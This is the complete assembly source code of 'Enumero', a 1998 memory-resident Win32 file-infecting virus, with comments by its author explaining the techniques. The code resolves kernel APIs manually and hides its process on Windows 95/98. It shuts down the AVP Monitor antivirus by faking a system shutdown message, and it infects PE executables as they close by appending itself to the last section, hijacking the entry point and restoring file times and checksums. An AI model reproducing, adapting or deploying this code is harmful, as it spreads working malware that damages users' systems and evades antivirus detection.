; ; Enumero, (c)1998 by Virogen[NOP] ; http://virogen.cjb.net ; ; This is a fairly simple virus I whipped up REAL fast outta the ; existing enumiacs source. The only real thing I wanted to accomplish ; with this virus was full win32 support and demonstration of proper ; PE infection by appending at the end of the last object's virtual ; size, not physical size. ; ; OS: Win32 (win95/98/NT) ; Hosts: PE (Parastic - append to last object at obj_rva+obj_vsize ; No date/time change ; No attribute change ; Correct checksum set in header. ; Physical file size increase varies depending on file alignment ; and previous padding on last object. ; Characteristics: Memory resident. Infects PEs when they terminate. Note ; that the PE must have created a window sometime in ; its execution, it doesn't matter if this window ; is visible or not. Process hidden from win95/98 ; process list. ; ; ; greetz: lapse,jp,vecna,darkman, and everyone else ; include mywin.inc ID_OFF equ 0ch ; offset of our marker in PE physical_eip equ 400h ; physical eip host_physical_eip equ physical_eip+(offset host_entry-offset vstart) ; physical eip of host entry set VIRUS_SIZE equ 6656 ; size after vgalign VIRTUAL_SIZE equ 6656 ; max module/process names we can queue - keep in mind that each ; is allocated 256 bytes of memory max_idx equ 300 .386 locals jumps .model flat,STDCALL ; ; our imported APIs for spawned virus - the spawned virus doesn't have to ; worry with manual importing nor delta offsets of course. ; extrn ExitProcess:PROC extrn EnumWindows:PROC extrn SetPriorityClass:PROC extrn GetCurrentProcess:PROC extrn CloseHandle:PROC extrn ReadFile:PROC extrn WriteFile:PROC extrn SetFilePointer:PROC extrn GetModuleHandleA:PROC extrn MapViewOfFile:PROC extrn CreateFileMappingA:PROC extrn UnmapViewOfFile:PROC extrn SetEndOfFile:PROC extrn SetFilePointer:PROC extrn GetFileAttributesA:PROC extrn SetFileAttributesA:PROC extrn GetFileSize:PROC extrn GetTickCount:PROC extrn GetFileSize:PROC extrn GetFileTime:PROC extrn SetFileTime:PROC extrn GetProcAddress:PROC extrn CheckSumMappedFile:PROC extrn PeekMessageA:PROC extrn Sleep:PROC extrn CopyFileA:PROC extrn FindWindowA:PROC extrn GetWindowThreadProcessId:PROC extrn OpenProcess:PROC extrn PostMessageA:PROC extrn GetModuleFileNameA:PROC extrn LoadLibraryA:PROC extrn FreeLibrary:PROC extrn IsBadReadPtr:PROC org 0 .data db 'þ [Enumero] by Virogen [NOP] þ' ; it's i said the fly .code vstart: call geteip ; find relative offset geteip: mov ebp,[esp] ; grab it off stack mov eax,ebp ; used below sub ebp,offset geteip ; fix it up add esp,4 ; fix da stack ; first, let's find kernel base. If this is a parastic portion of virus ; executing, we'll need to obtain a few APIs in order to spawn the virus. ; Here we get a pointer to the kernel from the stack (a return address). ; Then we scan down until we find the kernel base. ; ; We encapsulate this with an SEH handler, in case something goes bad wrong ; we simply immediatly jump to the host (if this is a parastic copy of the ; virus). ; call set_seh ; setup SEH frame ;-- error handler mov esp,[esp+8] pushad pushfd call geteip3 geteip3: pop ebp sub ebp,offset geteip3 jmp seh_exit ;-- end error handler set_seh: push dword ptr fs:[0] ; save old exception ptr mov fs:[0],esp ; set ptr to our exception handler mov edx,[esp+8] ; determine OS find_base_loop: cmp dword ptr [edx+0b4h],edx ; if we're at base, then jz good_os ; offset 0b4h contains kernel dec edx ; base jmp find_base_loop good_os: mov [ebp+kernelbase],edx ; save kernel base pushad pushfd ; ; this is my API importer from lorez, imports APIs from the kernel32.dll ; export table in memory. Someday I will recode this in a more efficient ; fashion, but I am too lazy today. ; ; a brief explanation of the organization of the export table would be ; useful here. Ok, basically there are three tables within the export ; table : API RVA Table (32bit), Name Pointer Table(32bit), and Ordinal ; Table (16bit). Ok, the ordinal number of an API is the entry number of ; the API in the RVA array. So, multiply the ordinal number by four and ; you've got an index into the API RVA Table. Probably you don't already ; have the ordinal number though, so you'll have to find it. To do this, ; you use the Name Pointer Table. This is an array of pointers to the ; asciiz name of each API. When you find the pointer of the API you're ; looking for by string compares, you take the index number of it and ; multiply it by 2 (because the ordinal table is 16bit). Index the result ; in the ordinal table, and you're all set. ; ; mov esi,edx add esi,[esi+3ch] ; relative ptr to PE header cmp word ptr [esi],'EP' ; make sure we're on right track jnz goto_host ; if not.. abort mov esi,[esi+120] ; get export table RVA add esi,edx ; relative to image base mov edi,[esi+36] ; get ordinal table RVA add edi,edx ; relative to image base mov [ebp+ordinaltbl],edi ; save it mov edi,[esi+32] ; get name ptr RVA add edi,edx ; is relative to image base mov [ebp+nameptrtbl],edi ; save it mov ecx,[esi+24] ; get number of name ptrs mov esi,[esi+28] ; get address table RVA add esi,edx ; is relative to image base mov [ebp+adrtbl],esi ; save it xor edx,edx ; edx is our ordinal counter ; edi=name ptr table ; ecx=number of name ptrs lea esi,[ebp+APIs] ; -> API Name ptrs mov [ebp+ourAPIptr],esi ; save it lea eax,[ebp+API_Struct] ; our API address will go here mov [ebp+curAPIptr],eax ; save it chk_next_API_name: mov esi,[ebp+ourAPIptr] ; get ptr to structure item mov ebx,[esi] ; load ptr to our API name add ebx,ebp ; add relative address mov esi,[edi] ; get API name RVA add esi,[ebp+kernelbase] ; relative to image base compare_API_name: lodsb cmp al,byte ptr [ebx] ; compare a byte of names jnz not_our_API ; it's not our API cmp al,0 ; end of string? jz is_our_API ; it's our API inc ebx jmp compare_API_name not_our_API: inc edx ; increment API counter cmp edx,ecx ; last entry of name ptr table? jz goto_host ; uhoh.. we didn't find one ; of our APIs.. abort it all add edi,4 ; increment export name ptr idx mov esi,[ebp+ourAPIptr] ; restore our API name ptr struct jmp chk_next_API_name is_our_API: mov edi,[ebp+ordinaltbl] ; load oridinal table RVA push ecx push edx xchg edx,eax ; edx=API number add eax,eax ; *2 cuz ordinals are words add edi,eax ; add to ordinal table VA mov ax,[edi] ; get ordinal (word) xor edx,edx mov ecx,4 mul ecx ; *4 cuz address tbl is dd's mov edi,[ebp+adrtbl] ; load address table VA add edi,eax ; set idx to API mov eax,edi sub eax,[ebp+kernelbase] ; get the VA of the entry mov [ebp+originalRVAptr],eax ; save it for kernel infection ; notice that our last API ; in the array is the one we ; hook mov eax,[edi] ; get API RVA mov [ebp+originalRVA],eax ; save it for kernel infection add eax,[ebp+kernelbase] ; is relative to image base mov edi,[ebp+curAPIptr] ; idx to storage stucture mov [edi],eax ; save VA of API add edi,4 ; increment index mov [ebp+curAPIptr],edi ; save pop edx pop ecx mov edi,[ebp+nameptrtbl] ; reset export name ptr tableidx mov esi,[ebp+ourAPIptr] ; restore idx to our name ptrs add esi,4 ; increment idx API name ptr structure mov [ebp+ourAPIptr],esi ; save our new ptr to name ptr cmp dword ptr [esi],0 ; end of our API structure? jz found_all ; if so then we got 'em all mov edi,[ebp+nameptrtbl] ; reset idx to export name pt xor edx,edx ; reset API counter jmp chk_next_API_name ; ; now we've imported all our needed APIs to spawn the virus and execute. ; First we check to see if this is spawned or parastic copy by checking ; delta offset. ; found_all: or ebp,ebp ; spawned file or 1st gen? jz spawned_func ; ; if parastic copy of virus, then spawn virus and execute it. ; push 275 push 64 ; allocate memory for spawn call [ebp+GlobalAllocAPI] ; path and filename or eax,eax jz goto_host xor ecx,ecx call GetVirusPathFile mov [ebp+spawnfile],eax ; eax->sysdir/spawnfilename buffer push eax ; save it fer later push eax call [ebp+DeleteFileAPI] ; attempt to delete ; ; now we spawn a copy of the virus. If there is an error creating the ; spawn file, then that means it is probably shared and therefore already ; in memory. ; pop esi ; esi->spawn filename call Create ; CreateFile cmp eax,-1 ; if error, then we're already in mem jz dealloc_goto_host push eax ; save handle mov ecx,VIRUS_SIZE mov esi,ebp add esi,offset vstart-physical_eip call Write ; write our virus call [ebp+CloseFileAPI] ; handle still on stack lea eax,[ebp+sinfo] ; overwrite some other unused vars push eax call [ebp+GetStartupInfoAPI] ; get startup info of process lea eax,[ebp+pinfo] ; storage for process info push eax lea eax,[ebp+sinfo] ; startup info push eax push 0 push 0 push 67108928h ; CREATE_DEFAULT_ERROR_MODE|IDLE push 0 push 0 push 0 push 0 mov esi,[ebp+spawnfile] ; esi->spawn sysdir/file push esi call [ebp+CreateProcessAPI] ; create our viral process mov eax,[ebp+hprocess] push eax call [ebp+CloseHandleAPI] ; close handle of our process dealloc_goto_host: mov eax,[ebp+spawnfile] push eax call [ebp+GlobalFreeAPI] goto_host: seh_exit: or ebp,ebp ; if spanwed jz _exit ; ; Here we calculate the image base, in case this executable was loaded at a base other ; than the one specified in the PE header. ; call get_ib_displacement get_ib_displacement: mov ebx,newep[ebp] add ebx,(offset get_ib_displacement-offset vstart) pop eax sub eax,ebx ; eax=image base add host_entry[ebp],eax ; add image base to host entry rva popfd popad pop dword ptr fs:[0] ; restore original SEH frame pop edx ; fixup stack jmp [ebp+host_entry] ; jmp to host entry VA host_entry dd offset vstart ; store host entry here newep dd 0 ; spawned virus code - we can throw away delta offsets now. This is ; the portion of the virus that stays resident. ; spawned_func: popfd popad pop dword ptr fs:[0] ; restore original SEH frame pop edx ; fixup stack xor ebp,ebp ; no delta offset ; ; first call PeekMessage so that the hourglass icon isn't displayed until ; timeout ; push 0 push 1 push 0 push 0 push offset msgstruct call PeekMessageA ; ; here we try to get the address of RegisterServiceProcess, which will ; allow us to register as a service process under win95/98, therefore ; hiding us from the ctrl-alt-del process list. This API not available ; under WinNT, so we import it manually to make sure that it exists, we ; don't need any ivalid ordinal numbers on spawned virus loadup. ; ; While we're at it, we'll also attempt to import the address of our ; GetWindowModuleFileNameA from USER32.DLL. If this API doesn't exist, ; which it is a fairly new API, then we just pass control to the host. ; ; push offset user32 call GetModuleHandleA ; get handle of user32.dll or eax,eax jz _exit ; it should have been loaded push offset GetWindowModuleFileName push eax call GetProcAddress or eax,eax ; if we don't have this API, then jz _exit ; we must be in old NT or 95 crap mov GetWindowModuleFileNameA,eax push offset kernel32 call GetModuleHandleA or eax,eax jz _exit ; something bad wrong if this push offset RegisterService push eax call GetProcAddress ; get rsp address or eax,eax jz isNT ; if not found, then NT system push 1 ; 1=register process push 0 ; null=current process call eax ; RegisterServiceProcess jmp is9598 ; ; Under WinNT we'll make use of PSAPI.DLL functionz to retrieve module filenames. ; We'll grab the address of GetModuleFileNameEx and EnumProcessModules ; isNT: push offset psapi call LoadLibraryA or eax,eax jz is9598 mov phandle,eax push offset EnumPModules push eax call GetProcAddress mov EnumProcessModules,eax or eax,eax jz unload_psapi push offset GetMFileName push phandle call GetProcAddress mov GetModuleFileNameEx,eax or eax,eax jz unload_psapi jmp is9598 unload_psapi: push phandle call FreeLibrary is9598: ; ; get rid of AVP Monitor by simulating a system shutdown, sending WM_ENDSESSION to ; its window ; ; push offset avp_wndname ; AVP window name push 0 ; class name call FindWindowA ; Find AVP or eax,eax ; get handle? jz no_avp ; if not, then abort push 0 ; no lparam push 0 ; or wparam push WM_ENDSESSION ; WM_ENDSESSION generated at system shutdown push eax ; handle to window call PostMessageA ; Post the message no_avp: ; ; allocate memory for, and load our virus for later infection ; push 280 push 64 call [GlobalAllocAPI] ; allocate memory for del buf or eax,eax jz _exit mov del_buf,eax push VIRUS_SIZE push 64 call [GlobalAllocAPI] or eax,eax jz _exit mov virus_mem,eax xor ecx,ecx ; return exe filename call GetVirusPathFile add eax,280 inc ecx ; ecx!=0 get temp filename call GetVirusPathFile push eax ; save for below push 0 push eax sub eax,280 push eax call CopyFileA pop esi ; esi->tmp filename call OpenRead cmp eax,-1 jz dealloc_exit mov esi,virus_mem mov ecx,VIRUS_SIZE push eax ; save handle for close call Read cmp bytesread,VIRUS_SIZE jnz dealloc_exit call CloseHandle ; handle still on stack mov eax,del_buf inc ecx ; retrieve temp filename call GetVirusPathFile ; get temp filename again push eax Call [DeleteFileAPI] ; delete temp file jmp continue_spawned dealloc_exit: push del_buf call [GlobalFreeAPI] push virus_mem call [GlobalFreeAPI] ; handle to mem still on stack jmp _exit ; ; now we need to allocate memory for our array ; continue_spawned: push 256*max_idx+1 push 64 ; GPTR - fixed, zero init call [GlobalAllocAPI] ; allocate memory for our array or eax,eax ; error allocating? exit jz dealloc_exit mov pnames,eax push 1000h push 64 ; allocate memory for modules enumeration call [ebp+GlobalAllocAPI] ; or eax,eax jz dealloc_exit mov mod_array,eax call GetCurrentProcess ; get current process handle push 64 ; idle priority class push eax ; handle of current process call SetPriorityClass ; set priority to idle mov testnums,0 ; enumerate and load call InstallEnum ; first enumeration ; ; This is our memory resident loop. What this does is every 1 second ; check the number of windows open by re-enumerating them. If this number ; differs from the last # of open windows, then we go and try to infect ; all the queued processes, in hopes that one has closed and is suitable ; for infection. We try to infect the queued processes about 10 times with ; a quarter second delay between each, or until we at least can open one of ; the files, this is just in case the window was closed but we still need ; to give the process time to terminate. ; main_loop: push 500 ; 1/2 second sleep call Sleep ; suspend process for 1/2 second mov testnums,1 ; just check number of windows call InstallEnum ; get number of windows mov eax,totalwnd ; get total windows from last en&l cmp testednums,eax jz main_loop ; if equal keep enumerating mov icnt,0 ; we want to keep trying to infect do_i: call Infect ; infect if different # of windows open cmp re_enum,0 jnz over_i ; if infected a file, then abort push 250 ; 1/4 second call Sleep ; suspend process for 1/4 second inc icnt ; increment counter cmp icnt,10 ; we'll try 10 times jnz do_i over_i: mov testnums,0 ; enumerate and load windows call InstallEnum jmp main_loop ; we'll want something else here.. ; may eat up too much cpu time ; some waitforsingleobject variation _exit: push 0 call ExitProcess ; ; This procedure enumerates the windows using EnumWindows. See ; EnumWindowsProcedure below, which is called for each window found. ; InstallEnum proc cmp testnums,1 jz jdoit mov totalwnd,0 mov totalexe,0 mov eax,pnames mov curpos,eax jdoit: mov testednums,0 push 9090h push offset EnumWindowsProc call EnumWindows ; set up window enumeration ret InstallEnum endp ; ; EnumWindowsProc - this procedure is called for every window found. ; ; EnumWindowsProc proc uses ebx edi esi, hwnd:DWORD, lparam:DWORD cmp testnums,1 ; only testing num of windows? jz enum_only ; if so just increment counter cmp totalexe,max_idx ; filled our array? jge not_exe ; if so just increment counter mov eax,GetWindowModuleFileNameA or eax,eax jz is_old_win push 255 ; maximum size of path&filename + null push curpos ; pointer to current member of array push hwnd ; handle of window call eax ; get associated module filename or eax,eax ; error - must be NT jnz got_fname_ok is_old_win: ; this is NT specific code ; If we couldn't cmp EnumProcessModules,0 ; make sure we got api va jz bad_abort cmp GetModuleFileNameEx,0 ; make sure we got api va jz bad_abort push offset pid push hwnd call GetWindowThreadProcessId ; get process id push pid push 0 push PROCESS_ALL_ACCESS call OpenProcess ; open da process mov phandle,eax or eax,eax jz bad_abort push offset bytesread push 1000h push mod_array push phandle call [EnumProcessModules] ; enumerate process modules mov esi,mod_array getmodloop: lodsd or eax,eax jz abortmodloop push 255 ; maximum size of path&filename + null push curpos ; pointer to current member of array push eax push phandle call [GetModuleFileNameEx] ; get associated module filename call testexe jc getmodloop ; if not exe then keep scanning abortmodloop: push eax push phandle call CloseHandle pop eax got_fname_ok: call testexe jc not_exe ; if not, then don't add to pointer add curpos,256 ; increment pointer to next member of array inc totalexe ; increment total #s of EXEs found not_exe: inc totalwnd ; increment total number of window bad_abort: ret enum_only: inc testednums ret EnumWindowsProc endp ; ; here we search the saved process filenames and try to infect each one ; Infect proc mov esi,pnames ; pointer to allocated array sub esi,256 ; member -1, will make 0 in loop mov curidx,-1 ; will increment to 0 mov re_enum,0 ; if we infected flag iloop: inc curidx ; increment current member of array add esi,256 ; increment index into array mov eax,totalexe ; get total EXEs we found in enumer cmp curidx,eax ; we exceeded that amount? jg abloop ; if so we're done push esi ; esi->array member (filename); save call OpenFile ; try and open it pop esi ; restore ptr to filename cmp eax,-1 ; error opening file? jz iloop ; if so skip to next member of array mov fnameptr,esi ; else save the filename pointer push eax ; eax=handle of file call CloseHandle ; close the file push esi call InfectFile ; infect the file pop esi mov re_enum,1 ; set successful infectin flag jmp iloop ; continue trying to infect abloop: ret Infect endp testexe proc or eax,eax jz return_stc mov ecx,eax ; ecx=size of path&filename of module add ecx,curpos ; set up pointer to end of path&filename sub ecx,3 ; extension starts here cmp word ptr [ecx],'XE' ; make sure it's EXE jz return_clc cmp word ptr [ecx],'xe' jz return_clc return_stc: stc ret return_clc: clc ret testexe endp ; return pointer to virus path and filename ; entry: eax->buffer ; ecx=0 if exe file, 1 if tmp file ; return: eax->buffer GetVirusPathFile proc push eax push ecx push eax push 260 ; max path size push eax ; ptr call [ebp+GetSysDirAPI] ; get sys directory pop edi ; edi->sys directory add edi,eax ; edi->end of dir pop ecx or ecx,ecx jnz tmpname lea esi,[ebp+virusname] ; esi->spawn filename jmp append tmpname: lea esi,[ebp+tempname] append: call copy_str ; append to sys dir pop eax ret GetVirusPathFile endp OpenRead: mov ecx,3 mov ebx,80000000h jmp or Create: mov ecx,1 jmp of OpenFile proc mov ecx,3 of: mov ebx,0c0000000h or: push 0 push 20h ; attribute normal push ecx ; 3=open existing file push 0 push 0 push ebx ; permissions push esi call [ebp+CreateFileAPI] ret OpenFile endp Read proc push 0 push offset bytesread push ecx push esi push eax call ReadFile ret Read endp Write proc push 0 lea ebx,[ebp+bytesread] push ebx push ecx push esi push eax call [ebp+WriteFileAPI] ret Write endp ;----------------------------------------------- ; infect file - call with fnameptr set ; ; As you can see, we append to the last object at RVA+virtual size ; and then set physical size to file_align(obj_virtual_size+ ; virus_physical_size). In this way, we take advantage of any padded ; space in the last object therefore decreasing the physical size ; increase of the host. ; ; It is my contention, that since the virtual size usually represents ; the true unaligned physical size, appending should always occur ; at the end of the virtual size and then the physical size should ; be aligned to the new virtual size. ; ; InfectFile proc mov eax,fnameptr push eax call GetFileAttributesA ; get file attributes mov oldattrib,eax cmp eax,-1 ; if error then maybe shared jnz not_shared ret ; can't infect it not_shared: push 20h ; +A mov eax,fnameptr push eax call SetFileAttributesA ; clear 'da attribs mov esi,fnameptr call OpenFile cmp eax,-1 jnz open_ok ret open_ok: mov handle,eax push offset creation push offset lastaccess push offset lastwrite push eax call GetFileTime ; grab the file time xor ecx,ecx ; only map size of file call create_mapping ; create file mapping jc abort_infect ; eax->mapped file cmp word ptr [eax],'ZM' ; is EXE? jnz abort_infect call GetPEHeader ; load esi->PE Header push 2 push esi ; test ptr for read acces call IsBadReadPtr ; was ptr any good? or eax,eax jnz abort_infect cmp word ptr [esi],'EP' ; PE? jnz abort_infect cmp dword ptr [esi+ID_OFF],0 ; any value here? jnz abort_infect ; if yes, infected call unmap ; unmap file mov ecx,VIRUS_SIZE+1000h ; add max virus size to map size call create_mapping ; map file again jc abort_infect call GetPEHeader ; load esi -> pe header call GetTickCount ; get tick count mov dword ptr [esi+ID_OFF],eax ; save as infect flag xor eax,eax mov ax, word ptr [esi+NtHeaderSize] ; get header size add eax,18h ; object table is here mov edi,esi add edi,eax ; edi->object table xor eax,eax mov ax,[esi+numObj] ; get number of objects dec eax ; we want last object mov ecx,40 ; each object 40 bytes xor edx,edx mul ecx ; numObj-1*40=last object add edi,eax ; edi->last obj mov eax,[edi+objpoff] ; get last object physical off mov lastobjimageoff,eax ; save it mov ecx,[edi+objpsize] ; get physical size of object mov eax,[edi+objvsize] ; get object virtual size push eax ; save virtual size push ecx ; save original p size mov originalvsize,eax ; save it 4 later add eax,VIRTUAL_SIZE ; add our virtual size mov dword ptr [edi+objvsize],eax ; save new virtual size mov ecx,[esi+filealign] ; physical size=filealign(vsize) call align_fix ; align new vsize to be psize mov [edi+objpsize],eax ; save new physical size mov newpsize,eax ; store it for exe size calc push eax mov ecx,dword ptr [esi+objalign] ; get object alignment mov eax,dword ptr [edi+objvsize] ; add virtual size add eax,dword ptr [edi+objrva] ; +last object rva call align_fix ; set on obj alignment mov dword ptr [esi+imagesize],eax ; save new imagesize mov [edi+objflags],0E0000060h ; set object flags r/w/x pop ecx ; restore new phsyical size pop eax ; original psize sub ecx,eax mov diffpsize,ecx pop eax ; restore orginal virtual size add eax,[edi+objrva] ; add last object's RVA ; eax now RVA of virus code add eax,physical_eip ; add physical eip: mov ebx,[esi+entrypointRVA] ; get original entry mov [esi+entrypointRVA],eax ; put our RVA as entry mov ecx,[ebp+virus_mem] add ecx,host_physical_eip mov [ecx],ebx ; save host e RVA add ecx,4 mov [ecx],eax ; save virus e RVA ; push esi mov edi,map_ptr add edi,originalvsize ; restore original virtual size add edi,lastobjimageoff ; add object physical offset ; edi->physical end of object mov esi,virus_mem ; esi->virus mov ecx,VIRUS_SIZE rep movsb ; copy virus to host pop esi mov ecx,lastobjimageoff add ecx,newpsize mov fsize,ecx ; store new filesize push ecx ; ecx=real file size call unmap ; unmap file pop ecx push FILE_BEGIN ; from file begin push 0 ; distance high push ecx ; distance low push handle call SetFilePointer ; move file pointer to ; real EOF push handle call SetEndOfFile ; set end of file ; ; now we need to calculate checksum. We need to remap the file to get it ; right after file size change. I might be wrong about this, there could ; have been a bug in my code, but it seems resonable. ; xor ecx,ecx call create_mapping jc unmapped mov esi,[eax+3ch] add esi,eax ; esi->pe header lea eax,[esi+checksum] push eax ; destination of checksum in hdr push offset oldchksum push fsize ; new file size mov eax,map_ptr push eax call CheckSumMappedFile call unmap jmp unmapped abort_infect: call unmap ;unmap if aborted infection unmapped: push offset creation push offset lastaccess push offset lastwrite push handle call SetFileTime ; restore orginal file time push handle call CloseHandle mov eax,oldattrib ; get original attribs push eax mov eax,fnameptr push eax call SetFileAttributesA ; restore the original attributes ret InfectFile endp GetPEHeader proc mov esi,[eax+3Ch] ; where PE hdr pointer is add esi,eax ret GetPEHeader endp ; create_mapping - create file mapping of [handle] ; entry: ecx=mapping size ; create_mapping proc push ecx ; save mapping size push 0 ; high fsize storage, not needed push handle ; file handle call GetFileSize call test_error jc create_abort mov fsize,eax pop ecx ; restore map size push 0 ; no map name add eax,ecx push eax ; low size+vs push 0 ; high size push PAGE_READWRITE ; read&write push 0 push handle call CreateFileMappingA call test_error jc create_abort mov maphandle,eax push 0 ; # of bytes, 0= map entire file push 0 ; file offset low push 0 ; file offset high push FILE_MAP_WRITE ; access flags - read&write push eax ; handle call MapViewOfFile call test_error jc create_abort mov map_ptr,eax create_abort: ret create_mapping endp ; test_error - test API for an error return ; entry: eax=API return ; returns: carry if error ; test_error proc cmp eax,-1 jz api_err or eax,eax jz api_err clc ret api_err: stc ret test_error endp ;-------------------------------------------------------------- ; unmap file - Unmap view of file ; unmap: push map_ptr call UnmapViewOfFile push maphandle call CloseHandle ret ;-------------------------------------------------------------- ; sets eax on alignment of ecx ; align_fix: xor edx,edx div ecx ; /alignment or edx,edx ; check for remainder jz no_inc inc eax ; next alignment no_inc: mul ecx ; *alignment ret ;------------------------------------------------------------- ; copy string ; pass edi->destination esi->source ; we could use lstrcat for this purpose, but oh well ; copy_str: mov ecx,0FFh ; no bigger than 256 copystr: lodsb stosb cmp al,0 jz copystrdone loop copystr copystrdone: ret APIs: ; structure of ptrs to our API names dd offset CreateFile dd offset CloseHandleS dd offset WriteFileS dd offset CloseFile dd offset GetSysDir dd offset DeleteFile dd offset CreateProc dd offset GetStartUp dd offset GlobalAlloc dd offset GlobalFree dd 0 ; our API names CreateFile db 'CreateFileA',0 CloseHandleS db 'CloseHandle',0 WriteFileS db 'WriteFile',0 CloseFile db 'CloseHandle',0 GetSysDir db 'GetSystemDirectoryA',0 DeleteFile db 'DeleteFileA',0 CreateProc db 'CreateProcessA',0 GetStartUp db 'GetStartupInfoA',0 GlobalAlloc db 'GlobalAlloc',0 GlobalFree db 'GlobalFree',0 API_Struct: ; structure for API VAs CreateFileAPI dd 0 CloseHandleAPI dd 0 WriteFileAPI dd 0 CloseFileAPI dd 0 GetSysDirAPI dd 0 DeleteFileAPI dd 0 CreateProcessAPI dd 0 GetStartupInfoAPI dd 0 GlobalAllocAPI dd 0 GlobalFreeAPI dd 0 APIStructEnd: virusname db '\enumero.exe',0 tempname db '\temp.tmp',0 RegisterService db 'RegisterServiceProcess',0 GetWindowModuleFileName db 'GetWindowModuleFileNameA',0 EnumPModules db 'EnumProcessModules',0 GetMFileName db 'GetModuleFileNameExA',0 EnumProcessModules dd 0 GetModuleFileNameEx dd 0 GetWindowModuleFileNameA dd 0 kernel32 db 'KERNEL32.DLL',0 user32 db 'USER32.DLL',0 psapi db 'PSAPI.DLL',0 avp_wndname db 'AVP Monitor',0 sinfo: curpos dd 0 ; ptr to cur member of array pnames dd 0 ; ptr to process names totalexe dd 0 totalwnd dd 0 testnums dd 0 ; bool testednums dd 0 curidx dd 0 icnt dd 0 re_enum db 0 bytesread dd 0 handle dd 0 ; file handle pinfo: ; process information hprocess dd 0 pid dd 0 maphandle dd 0 map_ptr dd 0 nameptrtbl dd 0 fsize dd 0 adrtbl dd 0 oldattrib dd 0 ; stored file attribs ourAPIptr dd 0 curAPIptr dd 0 ordinaltbl dd 0 kernelbase dd 0 originalRVAptr dd 0 ; RVA ptr to our hooked API RVA msgstruct: originalRVA dd 0 ; orginal RVA of our hooked API diffpsize dd 0 oldchksum: originalvsize dd 0 lastobjimageoff dd 0 creation dd 0,0 ; our file time structures lastaccess dd 0,0 lastwrite dd 0,0 fnameptr dd 0 ; ptr to file name we're inf spawnfile dd 0 virus_mem dd 0 phandle dd 0 newpsize dd 0 mod_array dd 0 ; ptr to allocated module array del_buf dd 0 ; ptr to allocated delete buf memory vend: end vstart ends